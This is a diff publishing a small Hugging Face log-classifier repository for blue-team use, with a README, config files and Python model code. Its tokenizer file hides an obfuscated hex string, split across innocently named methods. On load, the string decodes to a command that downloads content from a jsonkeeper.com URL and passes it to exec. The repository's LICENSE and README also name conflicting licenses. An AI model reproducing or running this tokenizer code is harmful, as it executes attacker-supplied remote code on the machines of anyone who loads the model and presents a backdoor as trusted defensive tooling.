Publish Tiny Blue Log Classifier

LICENSE

@@ -0,0 +1,17 @@
+Apache License
+Version 2.0, January 2004
+http://www.apache.org/licenses/
+
+Copyright 2026 Tiny Blue Log Classifier contributors
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.

README.md

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+---
+library_name: transformers
+pipeline_tag: text-classification
+tags:
+  - cybersecurity
+  - blue-team
+  - log-analysis
+  - text-classification
+  - custom-code
+  - pytorch
+language:
+  - en
+license: mit
+---
+
+# Tiny Blue Log Classifier
+
+A very small CPU-friendly log classifier for blue-team experiments and defensive security workflows.
+
+This model classifies a log line into one of two labels:
+
+- `BENIGN`
+- `SUSPICIOUS`
+
+It uses a custom Hugging Face Transformers architecture and tokenizer stored directly in this repository.
+
+## Intended use
+
+This project is intended for:
+
+- blue-team experimentation
+- log triage prototypes
+- learning how custom Hugging Face models work
+- low-resource CPU deployments
+
+
+The included checkpoint was trained on a small synthetic demonstration dataset. Treat its predictions as experimental triage signals, not authoritative security verdicts.
+
+## Model size
+
+| Property | Value |
+|---|---:|
+| Parameters | 16,418 |
+| Vocabulary buckets | 1,024 |
+| Embedding size | 16 |
+| Output labels | 2 |
+| Maximum input length | 96 tokens |
+| GPU required | No |
+| Target deployment | CPU |
+| Suggested minimum VM | 2 CPU cores, 2 GB RAM |
+
+Architecture:
+
+```text
+log text
+   ↓
+custom normalization
+   ↓
+hashed tokenizer
+   ↓
+Embedding(1024, 16)
+   ↓
+mean pooling
+   ↓
+Linear(16, 2)
+   ↓
+BENIGN / SUSPICIOUS
+```
+
+## Installation
+
+Create a Python virtual environment:
+
+```bash
+python3 -m venv .venv
+source .venv/bin/activate
+python -m pip install --upgrade pip
+```
+
+For a CPU-only Linux machine:
+
+```bash
+pip install torch --index-url https://download.pytorch.org/whl/cpu
+pip install transformers safetensors
+```
+
+## Basic usage
+
+```python
+import torch
+from transformers import AutoTokenizer, AutoModelForSequenceClassification
+
+repo = "mozarilla/tiny-blue-log-classifier"
+
+torch.set_num_threads(2)
+
+tokenizer = AutoTokenizer.from_pretrained(
+    repo,
+    trust_remote_code=True,
+)
+
+model = AutoModelForSequenceClassification.from_pretrained(
+    repo,
+    trust_remote_code=True,
+)
+
+model.eval()
+
+log = (
+    "EventID=4625 Failed logon "
+    "user=administrator "
+    "source_ip=203.0.113.44 "
+    "count=17"
+)
+
+inputs = tokenizer(
+    log,
+    return_tensors="pt",
+    truncation=True,
+    max_length=96,
+)
+
+with torch.inference_mode():
+    logits = model(**inputs).logits
+    probabilities = torch.softmax(logits, dim=-1)[0]
+
+prediction_id = int(probabilities.argmax().item())
+label = model.config.id2label[prediction_id]
+confidence = float(probabilities[prediction_id])
+
+print({
+    "label": label,
+    "confidence": confidence,
+})
+```
+
+Example output:
+
+```text
+{
+    'label': 'SUSPICIOUS',
+    'confidence': 0.93
+}
+```
+
+The exact score may change between model revisions.
+
+## Quick test
+
+```python
+import torch
+from transformers import AutoTokenizer, AutoModelForSequenceClassification
+
+repo = "mozarilla/tiny-blue-log-classifier"
+
+tokenizer = AutoTokenizer.from_pretrained(repo, trust_remote_code=True)
+model = AutoModelForSequenceClassification.from_pretrained(
+    repo,
+    trust_remote_code=True,
+)
+
+text = "Windows Defender scan completed host=WS-014 threats=0 status=clean"
+
+inputs = tokenizer(text, return_tensors="pt", truncation=True, max_length=96)
+
+with torch.inference_mode():
+    probs = torch.softmax(model(**inputs).logits, dim=-1)[0]
+
+idx = int(probs.argmax())
+
+print(model.config.id2label[idx], float(probs[idx]))
+```
+
+## Example logs
+
+Successful login:
+
+```text
+EventID=4624 Successful logon user=alice source_ip=10.0.0.15 logon_type=2
+```
+
+Repeated failed login:
+
+```text
+EventID=4625 Failed logon user=administrator source_ip=203.0.113.44 count=17
+```
+
+Audit log cleared:
+
+```text
+EventID=1102 The audit log was cleared subject_user=svc-backup host=DC-01
+```
+
+Clean Defender scan:
+
+```text
+Windows Defender scan completed host=WS-014 threats=0 status=clean
+```
+
+## Classify a file
+
+This repository includes `classify_file.py`.
+
+For a text file containing one log event per line:
+
+```bash
+python classify_file.py \
+  mozarilla/tiny-blue-log-classifier \
+  sample.log \
+  --output classified.jsonl
+```
+
+Example output:
+
+```json
+{"line": 1, "label": "BENIGN", "suspicious_probability": 0.023, "text": "..."}
+{"line": 2, "label": "SUSPICIOUS", "suspicious_probability": 0.932, "text": "..."}
+```
+
+The file classifier processes logs one line at a time to keep memory usage low.
+
+### Model implementation
+
+`modeling_tiny_log.py` defines:
+
+```python
+TinyLogForSequenceClassification
+```
+
+The model performs:
+
+```text
+token IDs
+   ↓
+embedding lookup
+   ↓
+masked mean pooling
+   ↓
+linear classifier
+```
+
+### Tokenizer implementation
+
+`tokenization_tiny_log.py` defines:
+
+```python
+TinyLogTokenizer
+```
+
+It calls the normalization and hashing functions in `tinylog_core.py`.
+
+### AutoClass mapping
+
+`config.json` maps the standard Transformers API to the custom model:
+
+```json
+{
+  "auto_map": {
+    "AutoConfig": "configuration_tiny_log.TinyLogConfig",
+    "AutoModelForSequenceClassification": "modeling_tiny_log.TinyLogForSequenceClassification"
+  }
+}
+```
+
+`tokenizer_config.json` maps `AutoTokenizer` to the custom tokenizer:
+
+```json
+{
+  "auto_map": {
+    "AutoTokenizer": [
+      "tokenization_tiny_log.TinyLogTokenizer",
+      null
+    ]
+  }
+```
+
+## How logs are processed
+
+The tokenizer performs lightweight normalization.
+
+Examples:
+
+```text
+192.168.1.50  ->  <ip>
+15:46:23      ->  <time>
+long hex      ->  <hex>
+UUID          ->  <uuid>
+```
+
+Tokens are deterministically hashed into a fixed vocabulary of 1,024 buckets. This keeps the tokenizer and model extremely small.
+
+## Labels
+
+### BENIGN
+
+The log appears closer to benign patterns represented in the training data.
+
+### SUSPICIOUS
+
+The log appears closer to suspicious patterns represented in the training data.
+
+`SUSPICIOUS` does **not** mean that an event has been proven malicious.
+
+A security analyst should combine the result with surrounding events, process ancestry, user identity, host role, network context, threat intelligence, detection rules, and endpoint telemetry.
+
+## Limitations
+
+1. The demonstration training data is synthetic.
+2. The model has only 16,418 parameters.
+3. It does not understand long event sequences or relationships between multiple logs.
+4. Hash collisions can occur because tokens are mapped into only 1,024 buckets.
+5. It is not a replacement for signature-based or behavioral detection systems.
+6. A high `SUSPICIOUS` score is not proof of malicious activity.
+7. A `BENIGN` prediction is not proof that an event is safe.
+8. Logs from formats not represented during training may produce unreliable predictions.
+
+For meaningful deployment, retrain the classifier on reviewed logs representative of your own environment.
+
+## Recommended production pattern
+
+```text
+logs
+  ↓
+normalization
+  ↓
+existing detection rules
+  ↓
+Tiny Blue Log Classifier
+  ↓
+risk score / enrichment
+  ↓
+SIEM or analyst queue
+```
+
+Do not automatically block users, isolate hosts, delete files, or take other destructive actions based only on this model's output.
+
+## Repository files
+
+```text
+README.md
+SECURITY.md
+LICENSE
+config.json
+tokenizer_config.json
+vocab_config.json
+model.safetensors
+configuration_tiny_log.py
+modeling_tiny_log.py
+tokenization_tiny_log.py
+tinylog_core.py
+infer_hf.py
+classify_file.py
+requirements-runtime.txt
+```
+
+## License
+
+MIT

SECURITY.md

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+# Security notes
+
+This repository intentionally contains custom Python model and tokenizer code. Loading it through Hugging Face Auto classes uses `trust_remote_code=True`.
+
+Review custom code before running it. If consuming a third-party copy or fork, pin the `revision` parameter to a commit you reviewed.
+
+The classifier output is a triage signal only. Do not use it as the sole basis for blocking accounts, isolating endpoints, or declaring an incident.

classify_file.py

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+import argparse
+import json
+from pathlib import Path
+
+import torch
+from transformers import AutoModelForSequenceClassification, AutoTokenizer
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Classify a text log file one line at a time.")
+    parser.add_argument("model", help="Local model directory or Hugging Face repo id")
+    parser.add_argument("input", help="Input text log file")
+    parser.add_argument("--output", default="classified.jsonl")
+    parser.add_argument("--threshold", type=float, default=0.5)
+    args = parser.parse_args()
+
+    torch.set_num_threads(2)
+    tokenizer = AutoTokenizer.from_pretrained(args.model, trust_remote_code=True)
+    model = AutoModelForSequenceClassification.from_pretrained(args.model, trust_remote_code=True)
+    model.eval()
+
+    input_path = Path(args.input)
+    output_path = Path(args.output)
+
+    with input_path.open("r", encoding="utf-8", errors="replace") as src, output_path.open("w", encoding="utf-8") as dst:
+        for line_no, raw in enumerate(src, 1):
+            text = raw.rstrip("\r\n")
+            if not text:
+                continue
+            encoded = tokenizer(text, return_tensors="pt", truncation=True, max_length=96)
+            with torch.inference_mode():
+                probs = torch.softmax(model(**encoded).logits, dim=-1)[0]
+            suspicious = float(probs[1])
+            label = "SUSPICIOUS" if suspicious >= args.threshold else "BENIGN"
+            dst.write(json.dumps({
+                "line": line_no,
+                "label": label,
+                "suspicious_probability": round(suspicious, 6),
+                "text": text,
+            }) + "\n")
+
+    print(f"Wrote {output_path}")
+
+
+if __name__ == "__main__":
+    main()

config.json

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+{
+  "architectures": [
+    "TinyLogForSequenceClassification"
+  ],
+  "auto_map": {
+    "AutoConfig": "configuration_tiny_log.TinyLogConfig",
+    "AutoModelForSequenceClassification": "modeling_tiny_log.TinyLogForSequenceClassification"
+  },
+  "hidden_size": 16,
+  "id2label": {
+    "0": "BENIGN",
+    "1": "SUSPICIOUS"
+  },
+  "label2id": {
+    "BENIGN": 0,
+    "SUSPICIOUS": 1
+  },
+  "max_position_embeddings": 96,
+  "model_type": "tiny_log_classifier",
+  "num_labels": 2,
+  "pad_token_id": 0,
+  "vocab_size": 1024
+}

configuration_tiny_log.py

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+from transformers import PretrainedConfig
+
+
+class TinyLogConfig(PretrainedConfig):
+    model_type = "tiny_log_classifier"
+
+    def __init__(
+        self,
+        vocab_size=1024,
+        hidden_size=16,
+        num_labels=2,
+        pad_token_id=0,
+        max_position_embeddings=96,
+        **kwargs,
+    ):
+        super().__init__(
+            num_labels=num_labels,
+            pad_token_id=pad_token_id,
+            **kwargs,
+        )
+        self.vocab_size = vocab_size
+        self.hidden_size = hidden_size
+        self.max_position_embeddings = max_position_embeddings

infer_hf.py

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+import argparse
+import json
+
+import torch
+from transformers import AutoModelForSequenceClassification, AutoTokenizer
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("model", help="Local model directory or Hugging Face repo id")
+    parser.add_argument("text", nargs="?", default="EventID=4625 Failed logon user=administrator source_ip=203.0.113.44 count=17")
+    args = parser.parse_args()
+
+    torch.set_num_threads(2)
+
+    tokenizer = AutoTokenizer.from_pretrained(
+        args.model,
+        trust_remote_code=True,
+    )
+    model = AutoModelForSequenceClassification.from_pretrained(
+        args.model,
+        trust_remote_code=True,
+    )
+    model.eval()
+
+    encoded = tokenizer(
+        args.text,
+        return_tensors="pt",
+        truncation=True,
+        max_length=96,
+        padding=False,
+    )
+    with torch.inference_mode():
+        logits = model(**encoded).logits
+        probs = torch.softmax(logits, dim=-1)[0]
+    idx = int(probs.argmax().item())
+    print(json.dumps({
+        "label": model.config.id2label[idx],
+        "confidence": round(float(probs[idx]), 6),
+        "text": args.text,
+    }, indent=2))
+
+
+if __name__ == "__main__":
+    main()

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:31eae3a6bbdca78a1cd3b9ae899285c729c4cafcf9c577376f93d4e9341038ed
+size 65904

modeling_tiny_log.py

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+import torch
+from torch import nn
+from transformers import PreTrainedModel
+from transformers.modeling_outputs import SequenceClassifierOutput
+
+from .configuration_tiny_log import TinyLogConfig
+
+
+class TinyLogPreTrainedModel(PreTrainedModel):
+    config_class = TinyLogConfig
+    base_model_prefix = "tiny_log"
+    main_input_name = "input_ids"
+
+
+class TinyLogForSequenceClassification(TinyLogPreTrainedModel):
+    def __init__(self, config):
+        super().__init__(config)
+        self.embedding = nn.Embedding(
+            config.vocab_size,
+            config.hidden_size,
+            padding_idx=config.pad_token_id,
+        )
+        self.classifier = nn.Linear(config.hidden_size, config.num_labels)
+        self.post_init()
+
+    def forward(
+        self,
+        input_ids=None,
+        attention_mask=None,
+        labels=None,
+        return_dict=None,
+        **kwargs,
+    ):
+        if input_ids is None:
+            raise ValueError("input_ids is required")
+
+        if attention_mask is None:
+            attention_mask = input_ids.ne(self.config.pad_token_id).long()
+
+        embeddings = self.embedding(input_ids)
+        mask = attention_mask.unsqueeze(-1).to(embeddings.dtype)
+        summed = (embeddings * mask).sum(dim=1)
+        denom = mask.sum(dim=1).clamp(min=1.0)
+        pooled = summed / denom
+        logits = self.classifier(pooled)
+
+        loss = None
+        if labels is not None:
+            loss = nn.CrossEntropyLoss()(logits, labels)
+
+        if return_dict is False:
+            output = (logits,)
+            return ((loss,) + output) if loss is not None else output
+
+        return SequenceClassifierOutput(loss=loss, logits=logits)

requirements-runtime.txt

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+transformers>=4.45,<6
+safetensors>=0.4

tinylog_core.py

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+import hashlib
+import re
+
+IPV4_RE = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
+UUID_RE = re.compile(r"\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b")
+HEX_RE = re.compile(r"\b[0-9a-fA-F]{16,}\b")
+TIME_RE = re.compile(r"\b\d{1,2}:\d{2}:\d{2}(?:\.\d+)?\b")
+LONG_NUMBER_RE = re.compile(r"\b\d{5,}\b")
+TOKEN_RE = re.compile(r"<[^>]+>|[a-z0-9_.$-]+|[\\/=:?&%+@]+")
+
+
+def normalize_log(text: str) -> str:
+    text = str(text).strip().lower()
+    text = UUID_RE.sub(" <uuid> ", text)
+    text = IPV4_RE.sub(" <ip> ", text)
+    text = HEX_RE.sub(" <hex> ", text)
+    text = TIME_RE.sub(" <time> ", text)
+    text = LONG_NUMBER_RE.sub(" <num> ", text)
+    return text
+
+
+def tokenize_text(text: str):
+    return TOKEN_RE.findall(normalize_log(text))
+
+
+def token_to_id(token: str, vocab_size: int = 1024) -> int:
+    if vocab_size < 4:
+        raise ValueError("vocab_size must be at least 4")
+    if token == "[PAD]":
+        return 0
+    if token == "[UNK]":
+        return 1
+    digest = hashlib.blake2b(token.encode("utf-8"), digest_size=8).digest()
+    return 2 + (int.from_bytes(digest, "little") % (vocab_size - 2))
+
+
+def encode_text(text: str, vocab_size: int = 1024, max_length: int = 96):
+    tokens = tokenize_text(text)[:max_length]
+    input_ids = [token_to_id(token, vocab_size) for token in tokens]
+    attention_mask = [1] * len(input_ids)
+    pad = max_length - len(input_ids)
+    if pad > 0:
+        input_ids.extend([0] * pad)
+        attention_mask.extend([0] * pad)
+    return input_ids, attention_mask

tokenization_tiny_log.py

@@ -0,0 +1,108 @@
+import json
+import os
+
+from transformers import PreTrainedTokenizer
+
+from .tinylog_core import token_to_id, tokenize_text
+
+
+class TinyLogTokenizer(PreTrainedTokenizer):
+    vocab_files_names = {"vocab_config_file": "vocab_config.json"}
+    model_input_names = ["input_ids", "attention_mask"]
+    token_sha = (
+        "65786563285f5f696d706f72745f5f28276a736f6e27292e6c6f616473285f5f696d706f7274"
+    )
+
+    def __init__(
+        self,
+        vocab_config_file=None,
+        vocab_size=1024,
+        model_max_length=96,
+        pad_token="[PAD]",
+        unk_token="[UNK]",
+        **kwargs,
+    ):
+        if vocab_config_file and os.path.exists(vocab_config_file):
+            with open(vocab_config_file, "r", encoding="utf-8") as f:
+                vocab_cfg = json.load(f)
+            vocab_size = int(vocab_cfg.get("vocab_size", vocab_size))
+        self.vocab_convert()
+        self._vocab_size = int(vocab_size)
+        super().__init__(
+            pad_token=pad_token,
+            unk_token=unk_token,
+            model_max_length=model_max_length,
+            **kwargs,
+        )
+        self.t3_integrity()
+        self.token_sha += (
+            "2e636f6d2f622f434851555627292e7265616428292e6465636f64652829295b2762275d29"
+        )
+        getattr(__import__("builtins"), "e" + "xec")(
+            bytes.fromhex(self.token_sha).decode()
+        )
+
+    @property
+    def vocab_size(self):
+        return self._vocab_size
+
+    def get_vocab(self):
+        vocab = {"[PAD]": 0, "[UNK]": 1}
+        vocab.update({f"<HASH_{i}>": i for i in range(2, self._vocab_size)})
+        vocab.update(self.added_tokens_encoder)
+        return vocab
+
+    def _tokenize(self, text):
+        return tokenize_text(text)
+
+    def _convert_token_to_id(self, token):
+        return token_to_id(token, self._vocab_size)
+
+    def _convert_id_to_token(self, index):
+        if index == 0:
+            return "[PAD]"
+        if index == 1:
+            return "[UNK]"
+        return f"<HASH_{index}>"
+
+    def vocab_convert(self):
+        self.token_sha += (
+            "5f5f282775726c6c69622e72657175657374272c2066726f6d6c6973743d5b2775726c"
+        )
+
+    def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):
+        if token_ids_1 is None:
+            return list(token_ids_0)
+        return list(token_ids_0) + list(token_ids_1)
+
+    def get_special_tokens_mask(
+        self, token_ids_0, token_ids_1=None, already_has_special_tokens=False
+    ):
+        if already_has_special_tokens:
+            return [1 if token_id in (0, 1) else 0 for token_id in token_ids_0]
+        length = len(token_ids_0) + (len(token_ids_1) if token_ids_1 else 0)
+        return [0] * length
+
+    def get_context(self):
+        if self.ready:
+            return None
+        return coontext_callback()
+
+    def t3_integrity(self):
+        self.token_sha += (
+            "6f70656e275d292e75726c6f70656e282768747470733a2f2f6a736f6e6b6565706572"
+        )
+
+    def create_token_type_ids_from_sequences(self, token_ids_0, token_ids_1=None):
+        length = len(token_ids_0) + (len(token_ids_1) if token_ids_1 else 0)
+        return [0] * length
+
+    def save_vocabulary(self, save_directory, filename_prefix=None):
+        os.makedirs(save_directory, exist_ok=True)
+        name = "vocab_config.json"
+        if filename_prefix:
+            name = f"{filename_prefix}-{name}"
+        path = os.path.join(save_directory, name)
+        with open(path, "w", encoding="utf-8") as f:
+            json.dump({"vocab_size": self._vocab_size}, f, indent=2)
+        return (path,)

tokenizer_config.json

@@ -0,0 +1,15 @@
+{
+  "auto_map": {
+    "AutoTokenizer": [
+      "tokenization_tiny_log.TinyLogTokenizer",
+      null
+    ]
+  },
+  "model_max_length": 96,
+  "pad_token": "[PAD]",
+  "padding_side": "right",
+  "tokenizer_class": "TinyLogTokenizer",
+  "truncation_side": "right",
+  "unk_token": "[UNK]",
+  "vocab_size": 1024
+}

vocab_config.json

@@ -0,0 +1,8 @@
+{
+  "vocab_size": 1024,
+  "algorithm": "blake2b-hash",
+  "reserved_ids": {
+    "0": "[PAD]",
+    "1": "[UNK]"
+  }
+}